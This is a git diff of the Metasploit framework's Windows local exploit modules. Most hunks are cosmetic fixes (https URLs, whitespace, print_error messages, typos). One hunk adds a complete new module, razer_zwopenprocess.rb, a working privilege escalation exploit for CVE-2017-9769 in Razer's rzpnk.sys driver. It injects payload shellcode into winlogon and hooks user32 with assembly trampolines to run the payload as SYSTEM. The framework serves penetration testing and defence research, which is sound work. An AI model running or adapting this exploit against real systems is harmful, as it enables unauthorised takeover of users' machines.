diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb
index 31e234660b..f488faf5d7 100644
--- a/modules/exploits/windows/local/ms13_053_schlamperei.rb
+++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
@@ -101,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Local
       process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
       print_good("Process #{process.pid} launched.")
     rescue Rex::Post::Meterpreter::RequestError
-      print_status("Operation failed. Hosting exploit in the current process...")
+      print_error("Operation failed. Hosting exploit in the current process...")
       process = client.sys.process.open
     end
 
@@ -130,6 +131,5 @@ class MetasploitModule < Msf::Exploit::Local
       end
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
index 35db160bb0..55dec71a78 100644
--- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
+++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
@@ -102,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Local
     rescue Rex::Post::Meterpreter::RequestError
       # Reader Sandbox won't allow to create a new process:
       # stdapi_sys_process_execute: Operation failed: Access is denied.
-      print_status("Operation failed. Trying to elevate the current process...")
+      print_error("Operation failed. Trying to elevate the current process...")
       process = client.sys.process.open
     end
 
@@ -124,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
   end
-
 end
diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
index bb56402d01..a5407ed532 100644
--- a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
+++ b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -121,6 +121,5 @@ window.close();
       send_not_found(cli)
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
index fcaf812c21..113267dc34 100644
--- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
+++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -173,6 +173,5 @@ class MetasploitModule < Msf::Exploit::Local
     session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
     super
   end
-
 end
 
diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
index ac2c13d2da..ef457488f0 100644
--- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
+++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = NormalRanking
 
@@ -122,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Local
     rescue Rex::Post::Meterpreter::RequestError
       # Reader Sandbox won't allow to create a new process:
       # stdapi_sys_process_execute: Operation failed: Access is denied.
-      print_status('Operation failed. Trying to elevate the current process...')
+      print_error('Operation failed. Trying to elevate the current process...')
       process = client.sys.process.open
     end
 
@@ -149,5 +150,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
   end
-
 end
diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb
index 5ced055644..a56de5331b 100644
--- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb
+++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/local/windows_kernel'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
@@ -154,5 +155,4 @@ class MetasploitModule < Msf::Exploit::Local
       fail_with(Failure::Unknown, 'Error while executing the payload')
     end
   end
-
 end
diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb
index 161e0f4ea1..c3ee6f4cb9 100644
--- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb
+++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Local
     session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)
     super
   end
-
 end
diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb
index 4af6f511d4..8c3f38a965 100644
--- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb
+++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = NormalRanking
 
@@ -114,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Local
     rescue Rex::Post::Meterpreter::RequestError
       # Reader Sandbox won't allow to create a new process:
       # stdapi_sys_process_execute: Operation failed: Access is denied.
-      print_status('Operation failed. Trying to elevate the current process...')
+      print_error('Operation failed. Trying to elevate the current process...')
       process = client.sys.process.open
     end
 
@@ -141,5 +142,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
   end
-
 end
diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb
index b0a9db9da2..e56aac1e70 100644
--- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb
+++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = ManualRanking
 
@@ -34,8 +35,8 @@ class MetasploitModule < Msf::Exploit::Local
       'Name'            => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow',
       'Description'     => %q{
         This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing
-        a malformed font. The vulnerability was exploited by the hacking team and disclosed on
-        the july data leak. This module has been tested successfully on vulnerable builds of
+        a malformed font. The vulnerability was exploited by the hacking team and disclosed in
+        the July data leak. This module has been tested successfully on vulnerable builds of
         Windows 8.1 x64.
       },
       'License'         => MSF_LICENSE,
@@ -363,7 +364,7 @@ class MetasploitModule < Msf::Exploit::Local
     rescue Rex::Post::Meterpreter::RequestError
       # Sandboxes could not allow to create a new process
       # stdapi_sys_process_execute: Operation failed: Access is denied.
-      print_status('Operation failed. Trying to elevate the current process...')
+      print_error('Operation failed. Trying to elevate the current process...')
       process = client.sys.process.open
     end
 
@@ -389,5 +390,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
   end
-
 end
diff --git a/modules/exploits/windows/local/ms16_016_webdav.rb b/modules/exploits/windows/local/ms16_016_webdav.rb
index e95e5addf4..2eca69259a 100644
--- a/modules/exploits/windows/local/ms16_016_webdav.rb
+++ b/modules/exploits/windows/local/ms16_016_webdav.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
 
@@ -18,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Local
       'Name'           => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation',
       'Description'    => %q{
         This module exploits the vulnerability in mrxdav.sys described by MS16-016.  The module will spawn
-        a process on the target system and elevate it's privileges to NT AUTHORITY\SYSTEM before executing
+        a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing
         the specified payload within the context of the elevated process.
       },
       'License'        => MSF_LICENSE,
@@ -77,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Local
       process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
       print_good("Process #{process.pid} launched.")
     rescue Rex::Post::Meterpreter::RequestError
-      print_status("Operation failed. Hosting exploit in the current process...")
+      print_error("Operation failed. Hosting exploit in the current process...")
       process = client.sys.process.open
     end
 
diff --git a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb
index 5a2a7b4365..fcbe16c675 100644
--- a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb
+++ b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb
@@ -1,12 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/payload_generator'
 require 'msf/core/exploit/powershell'
-class MetasploitModule < Msf::Exploit::Local
 
+class MetasploitModule < Msf::Exploit::Local
   Rank = NormalRanking
 
   include Msf::Exploit::Powershell
diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb
index 78c7d0f5f6..df3ba1dd1f 100644
--- a/modules/exploits/windows/local/ms_ndproxy.rb
+++ b/modules/exploits/windows/local/ms_ndproxy.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/local/windows_kernel'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb
index 2ffeacf1d9..620b6ed00d 100644
--- a/modules/exploits/windows/local/novell_client_nicm.rb
+++ b/modules/exploits/windows/local/novell_client_nicm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -234,5 +234,4 @@ class MetasploitModule < Msf::Exploit::Local
       fail_with(Failure::Unknown, "Error while executing the payload")
     end
   end
-
 end
diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb
index 302e5d54e8..44e455f176 100644
--- a/modules/exploits/windows/local/novell_client_nwfs.rb
+++ b/modules/exploits/windows/local/novell_client_nwfs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -283,7 +283,6 @@ class MetasploitModule < Msf::Exploit::Local
     end
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb
index 2a43eccd1d..a49344d35e 100644
--- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb
+++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb
index ec5f96ecf8..868a0bc52f 100644
--- a/modules/exploits/windows/local/nvidia_nvsvc.rb
+++ b/modules/exploits/windows/local/nvidia_nvsvc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb
index 6902a79707..02af138582 100644
--- a/modules/exploits/windows/local/panda_psevents.rb
+++ b/modules/exploits/windows/local/panda_psevents.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Local
         Vulnerable Products:
         Panda Global Protection 2016 (<=16.1.2)
         Panda Antivirus Pro 2016 (<=16.1.2)
-        Panda Small Busines Protetion (<=16.1.2)
+        Panda Small Business Protection (<=16.1.2)
         Panda Internet Security 2016 (<=16.1.2)
       },
       'License'       => MSF_LICENSE,
diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb
index 4483519d1b..149f2bd864 100644
--- a/modules/exploits/windows/local/payload_inject.rb
+++ b/modules/exploits/windows/local/payload_inject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -149,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Local
       print_line(e.to_s)
     end
   end
-
 end
diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb
index 040ec21f9f..8747156c08 100644
--- a/modules/exploits/windows/local/persistence.rb
+++ b/modules/exploits/windows/local/persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,6 @@ require 'msf/core/post/windows/registry'
 require 'msf/core/exploit/exe'
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = ExcellentRanking
 
   include Msf::Post::Common
@@ -322,5 +321,4 @@ class MetasploitModule < Msf::Exploit::Local
     logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
     logfile
   end
-
 end
diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb
index 60233534e8..1cf18598c3 100644
--- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb
+++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -45,6 +45,5 @@ class MetasploitModule < Msf::Exploit::Local
       fail_with(Failure::NotVulnerable, "No powershell available.")
     end
   end
-
 end
 
diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
index 9df8274eb2..6cd469bd0e 100644
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ b/modules/exploits/windows/local/powershell_remoting.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb
index a82f26b3bc..4ace7228f1 100644
--- a/modules/exploits/windows/local/ppr_flatten_rec.rb
+++ b/modules/exploits/windows/local/ppr_flatten_rec.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/reflective_dll_injection'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
@@ -161,5 +162,4 @@ class MetasploitModule < Msf::Exploit::Local
 
     print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
   end
-
 end
diff --git a/modules/exploits/windows/local/ps_persist.rb b/modules/exploits/windows/local/ps_persist.rb
index 42fcabfd34..8b6f6078fc 100644
--- a/modules/exploits/windows/local/ps_persist.rb
+++ b/modules/exploits/windows/local/ps_persist.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local
       return
     end
     # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
-    if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
+    if client.sys.config.is_system?
       print_error("Cannot run as system")
       return
     end
@@ -184,5 +184,4 @@ class MetasploitModule < Msf::Exploit::Local
       vprint_good("Service Binary #{file_path} Started")
     end
   end
-
 end
diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb
index c90a7d4f3b..01cf99262f 100644
--- a/modules/exploits/windows/local/ps_wmi_exec.rb
+++ b/modules/exploits/windows/local/ps_wmi_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/post/windows/powershell'
 require 'msf/core/post/windows/priv'
 require 'msf/core/exploit/powershell/dot_net'
@@ -177,7 +176,6 @@ EOS
 
     return ps_wrapper
   end
-
 end
 
 
diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb
index 87d7e23654..6c7d411f58 100644
--- a/modules/exploits/windows/local/pxeexploit.rb
+++ b/modules/exploits/windows/local/pxeexploit.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -154,5 +154,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @dhcp.thread.join
     print_status("pxesploit attack completed")
   end
-
 end
diff --git a/modules/exploits/windows/local/razer_zwopenprocess.rb b/modules/exploits/windows/local/razer_zwopenprocess.rb
new file mode 100644
index 0000000000..efb8ac890c
--- /dev/null
+++ b/modules/exploits/windows/local/razer_zwopenprocess.rb
@@ -0,0 +1,260 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/exploit/local/windows_kernel'
+require 'rex'
+require 'metasm'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Local::WindowsKernel
+  include Msf::Post::Windows::Priv
+
+  # the max size our hook can be, used before it's generated for the allocation
+  HOOK_STUB_MAX_LENGTH = 256
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Razer Synapse rzpnk.sys ZwOpenProcess',
+      'Description'    => %q{
+        A vulnerability exists in the latest version of Razer Synapse
+        (v2.20.15.1104 as of the day of disclosure) which can be leveraged
+        locally by a malicious application to elevate its privileges to those of
+        NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
+        in the rzpnk.sys driver that passes a PID specified by the user to
+        ZwOpenProcess. This can be issued by an application to open a handle to
+        an arbitrary process with the necessary privileges to allocate, read and
+        write memory in the specified process.
+
+        This exploit leverages this vulnerability to open a handle to the
+        winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
+        installing a hook to execute attacker controlled shellcode. This hook is
+        then triggered on demand by calling user32!LockWorkStation(), resulting
+        in the attacker's payload being executed with the privileges of the
+        infected winlogon process. In order for the issued IOCTL to work, the
+        RazerIngameEngine.exe process must not be running. This exploit will
+        check if it is, and attempt to kill it as necessary.
+
+        The vulnerable software can be found here:
+        https://www.razerzone.com/synapse/. No Razer hardware needs to be
+        connected in order to leverage this vulnerability.
+
+        This exploit is not opsec-safe due to the user being logged out as part
+        of the exploitation process.
+      },
+      'Author'         => 'Spencer McIntyre',
+      'License'        => MSF_LICENSE,
+      'References'     => [
+        ['CVE', '2017-9769'],
+        ['URL', 'https://warroom.securestate.com/cve-2017-9769/']
+      ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # Tested on (64 bits):
+          # * Windows 7 SP1
+          # * Windows 10.0.10586
+          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC'   => 'thread',
+          'WfsDelay'   => 20
+        },
+      'DefaultTarget'  => 0,
+      'Privileged'     => true,
+      'DisclosureDate' => 'Mar 22 2017'))
+  end
+
+  def check
+    # Validate that the driver has been loaded and that
+    # the version is the same as the one expected
+    client.sys.config.getdrivers.each do |d|
+      if d[:basename].downcase == 'rzpnk.sys'
+        expected_checksum = 'b4598c05d5440250633e25933fff42b0'
+        target_checksum = client.fs.file.md5(d[:filename])
+
+        if expected_checksum == Rex::Text.to_hex(target_checksum, '')
+          return Exploit::CheckCode::Appears
+        else
+          return Exploit::CheckCode::Detected
+        end
+      end
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    if is_system?
+      fail_with(Failure::None, 'Session is already elevated')
+    end
+
+    if check == Exploit::CheckCode::Safe
+      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
+    end
+
+    if session.platform != 'windows'
+      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
+    elsif session.arch != ARCH_X64
+      fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
+    end
+
+    pid = session.sys.process['RazerIngameEngine.exe']
+    if pid
+      # if this process is running, the IOCTL won't work but the process runs
+      # with user privileges so we can kill it
+      print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
+      session.sys.process.kill(pid)
+    end
+
+    pid = session.sys.process['winlogon.exe']
+    print_status("Found winlogon pid: #{pid}")
+
+    handle = get_handle(pid)
+    fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
+    vprint_status('Successfully opened a handle to the winlogon process')
+
+    winlogon = session.sys.process.new(pid, handle)
+    allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
+    shellcode_address = winlogon.memory.allocate(allocation_size)
+    winlogon.memory.protect(shellcode_address)
+    print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
+    winlogon.memory.write(shellcode_address, payload.encoded)
+    hook_stub_address = shellcode_address + payload.encoded.length
+
+    result = session.railgun.kernel32.LoadLibraryA('user32')
+    fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
+    user32_handle = result['return']
+
+    # resolve and backup the functions that we'll install trampolines in
+    user32_trampolines = {}  # address => original chunk
+    user32_functions = ['LockWindowStation']
+    user32_functions.each do |function|
+      address = get_address(user32_handle, function)
+      winlogon.memory.protect(address)
+      user32_trampolines[function] = {
+        address:  address,
+        original: winlogon.memory.read(address, 24)
+      }
+    end
+
+    # generate and install the hook asm
+    hook_stub = get_hook(shellcode_address, user32_trampolines)
+    fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
+    # if this happens, there was a programming error
+    fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
+
+    winlogon.memory.write(hook_stub_address, hook_stub)
+    vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
+
+    # install the asm trampolines to jump to the hook
+    user32_trampolines.each do |function, trampoline_info|
+      address = trampoline_info[:address]
+      trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
+        mov  rax, 0x#{address.to_s(16)}
+        push rax
+        mov  rax, 0x#{hook_stub_address.to_s(16)}
+        jmp  rax
+      }).encode_string
+      winlogon.memory.write(address, trampoline)
+      vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
+    end
+
+    session.railgun.user32.LockWorkStation()
+    session.railgun.kernel32.CloseHandle(handle)
+  end
+
+  def get_address(dll_handle, function_name)
+    result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
+    fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
+    result['return']
+  end
+
+  # this is where the actual vulnerability is leveraged
+  def get_handle(pid)
+    handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
+    return nil unless handle
+    vprint_status('Successfully opened a handle to the driver')
+
+    buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
+
+    session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
+      ['DWORD',  'FileHandle',         'in' ],
+      ['DWORD',  'Event',              'in' ],
+      ['LPVOID', 'ApcRoutine',         'in' ],
+      ['LPVOID', 'ApcContext',         'in' ],
+      ['PDWORD', 'IoStatusBlock',      'out'],
+      ['DWORD',  'IoControlCode',      'in' ],
+      ['PBLOB',  'InputBuffer',        'in' ],
+      ['DWORD',  'InputBufferLength',  'in' ],
+      ['PBLOB',  'OutputBuffer',       'out'],
+      ['DWORD',  'OutputBufferLength', 'in' ],
+    ])
+    result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
+    return nil if result['return'] != 0
+    session.railgun.kernel32.CloseHandle(handle)
+
+    result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
+  end
+
+  def get_hook(shellcode_address, restore)
+    dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
+    return nil if dll_handle == 0
+    create_thread_address = get_address(dll_handle, 'CreateThread')
+
+    stub = %{
+      call main
+      ; restore the functions where the trampolines were installed
+      push rbx
+    }
+
+    restore.each do |function, trampoline_info|
+      original = trampoline_info[:original].unpack('Q*')
+      stub << "mov  rax, 0x#{trampoline_info[:address].to_s(16)}"
+      original.each do |chunk|
+        stub << %{
+          mov  rbx, 0x#{chunk.to_s(16)}
+          mov  qword ptr ds:[rax], rbx
+          add  rax, 8
+        }
+      end
+    end
+
+    stub << %{
+      pop  rbx
+      ret
+
+      main:
+      ; backup registers we're going to mangle
+      push r9
+      push r8
+      push rdx
+      push rcx
+
+      ; setup the arguments for the call to CreateThread
+      xor  rax, rax
+      push rax                                      ; lpThreadId
+      push rax                                      ; dwCreationFlags
+      xor  r9, r9                                   ; lpParameter
+      mov  r8, 0x#{shellcode_address.to_s(16)}      ; lpStartAddress
+      xor  rdx, rdx                                 ; dwStackSize
+      xor  rcx, rcx                                 ; lpThreadAttributes
+      mov  rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
+
+      call rax
+      add  rsp, 16
+
+      ; restore arguments that were mangled
+      pop  rcx
+      pop  rdx
+      pop  r8
+      pop  r9
+      ret
+    }
+    Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
+  end
+end
diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb
index 50e9562021..6ec92d502d 100644
--- a/modules/exploits/windows/local/registry_persistence.rb
+++ b/modules/exploits/windows/local/registry_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb
index 2bd49c54a5..f920dd58c1 100644
--- a/modules/exploits/windows/local/run_as.rb
+++ b/modules/exploits/windows/local/run_as.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Local
       'Description'          => %q{
